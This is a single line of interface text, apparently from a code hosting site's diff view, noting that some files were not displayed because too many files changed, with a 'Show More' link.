Some files were not shown because too many files have changed in this diff Show More